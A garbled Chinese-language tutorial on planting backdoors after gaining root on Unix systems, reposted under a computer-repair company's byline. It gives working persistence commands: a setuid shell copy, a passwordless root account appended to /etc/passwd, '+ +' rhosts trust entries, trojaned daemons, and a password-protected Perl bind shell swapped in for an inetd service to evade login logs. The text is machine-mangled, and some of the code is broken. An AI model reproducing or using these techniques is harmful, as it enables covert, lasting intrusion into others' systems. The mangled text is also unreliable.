如何创建后门
参考文献:
Article: backdoor from The Infinity Concept Issue II
Src: b4b0.c by b4b0
Src: daemonsh.pl by van Hauser / [THC] in 1997'
--
千辛万苦(or 轻而易举)的取得root后,固然盼望长久的保持. 以被当前用来。。。d0ing what u want t0 d0 :) 传统的方法就是创立一个后门(backd00r).纵然入侵被发明,好 的(先辈)后门仍旧能够使你再次轻松的破门而入 -- 请记住: " we come back and we are the h.a.c.k.e.r "
--
创立后门的方法如下:
-
1. setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上,最为简单方便,但也最为容易被ADM 发明 find / -perm 4000 -print;同时在大多数的SUNOS 上 你会发明不能setuid。-- 适用于老手;
-
2. echo "zer9::0:0::/:/bin/csh" >> /etc/passwd 即给系统增长一个 id 为 0(root)的帐号,无口令; 也很容易被发明。 -- 适用于老手;
-
3.echo "+ zer9">>/.rhosts
即当地的名为 zer9 的用户可以间接 rlogin target 无须口令此时的 zer9 就相当于口令,不晓得的人是不能出来的.
前提是目的的port 512or513or514 opening.
注: 如 echo "+ +">>/.rhosts 则任何用户都可rlogin至目的 招致目的流派翻开,最好不要;
还可 echo "+ +">>/etc/hosts.equiv 但这样不能取得root权限;-- 适用于比老手高一点点,比中级程度低一点点的guys;
-
4.modify sendmail.cf 增长一个"wiz" 命令;
usage:
telnet target 25 [enter]
wiz[enter]
这是我从SAFEsuite中学到的(但没试过);比较危险。因为几乎全部的扫描器都会密查本漏洞。不过你可把命令本身该成其他不易猜到的名字。比较复杂,危险,但ADM不易发明,潜伏性较强;你只在你的机器上试一试就okay了;-- 顾名思意,大家级漏洞;
-
5. crack suck as inetd,login,...
即安置它们的特络绎版本。你需要找到各版本unix的rootkit;然后分别编译即可;-- 要是目的机上没有安置 tripwire之类的东东,那几乎不可能被发明。linux&sunos&freebsd的可能好找,但其他的了?纵然你找到了,你有对应平台上的编译器吗?我有一台运转 slackware,one running irix,one runningsunos,one running hpux,one running digits unix,...
hahhahha,我又做梦了:)
-- 我小我私家认为是最好的方法,但完成起来有一定风险,你必需思量到要是你的木马运转出错怎么办--因为我们所做的一切都必需以不粉碎目的机上的任何数据为原则;
-
6.ping rem0te backd00r
纵然是防火墙也很少阻止 ICMP 的通过,因而本后门可绕过防火墙。具体的步伐你可在 [THC] 的主页发明;我想到了另外一种间接用ping命令完成的可通过防火墙的方法 :一方在防火墙内,一方在防火墙外;除 ICMP 外;通向防火墙内的信息均被过滤失 :(用 60k data 代表长,10k data 代表短;使用摩尔思编码;(或其他自定义编码)双方通过 ICMPinfo 接受信息(ping 's data length);“嘀,嘀,嘀嘀,嘀,嘀嘀嘀...""长江长江,我是黄河--- 向我开炮!向我开炮”(^o^);当前有时间我会通过步伐来完成验证可行性的。(技术上应该没有什么难度)
-
7.rem0te shell
我最喜欢的方式。并且由于绕开了login,故用 who 无法看到--也就是说,避开了utmp&utmpx&wtmp&wtmpx;但没有完全避开 syslogd.ADM仍可以在/var/log/messages中发明
你。不过,有一种方法可以彻底完全的旁路 syslogd!且听下面一一道来.
bindshell的完成有两种:
a.
替换失 inetd.conf 中的不紧张办事,如 rlogind :)在inetd 接受 connect 恳求后,间接在本端口使用 system("/bin/csh -i");间接spam 出一个shell,
b. 接受 connect 后,在高端spam出一个shell;
(更宁静 :)
下面我给出一个perl 完成(不需socket libary支持)(pass on sunos5.5.1&slackware 2.0.33&irix6.4&hpux10.2)和一个 gnuc 的完成(test on slackware 2.0.33&irix6.4)
---
perl 版安置方法:
###无须编译!!只要目的机上有perl支持就okay!
怎样果断有无perl: $/>perl [enter]
[ctrl-c]
$/>
-
要是你对 /etc/inetd.conf 中的内容不是很熟的话,下面
的方法有很大的危险性, exit(-1) please;
-
首先将源步伐cut,存为你想要替换的daemon,如in.rexecd or or in.rlogind ,in.pop2d....最好是曾经被ADM关失了,并且不太有目共睹的daemon,细致,一定要是 TCP types.然后
mv /usr/sbin/in.rexecd /usr/sbin/in.rexecd.bak :))
cp in.rexecd /usr/sbin/in.rexecd
然后 ps -aux|grep inetd;kill -HUP id(by inetd);
okay! 连 /etc/inetd.conf 都不要改。重申一点:岂论在任何情况下,我们都要尽最大的可能保护数据!
-
Usage: nc target (such as 512)
[enter]
ur passwd [enter]
(then u login in...:)
----Cut Here------------------------------------------
#!/usr/bin/perl
#
# BEST
# SIMPLE
# rem0te bind shell
#[perl version only tcp]
# by
# zer9[FTT]
# zer9@21cn.com
#passed on allmost unix
#greet to:van Hauser/[THC]
# for his daemonshell.pl
#
$SHELL="/bin/csh -i";
#d3f4ult p4sswd 1s "wh04r3u" (no quote);
$PASSWORD="BifqmATb6D5so";
if ($PASSWORD) {
chop($pass=);
if (crypt($pass, $PASSWORD) ne $PASSWORD) {
exit 0;
}
exec $SHELL ;
exit 0;
}
----Cut Here--------------------------------------------
下面是一个for gnuc 的bindshell,first cut it,save as
backdoor.c ,then cc backdoor.c -o backdoor
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|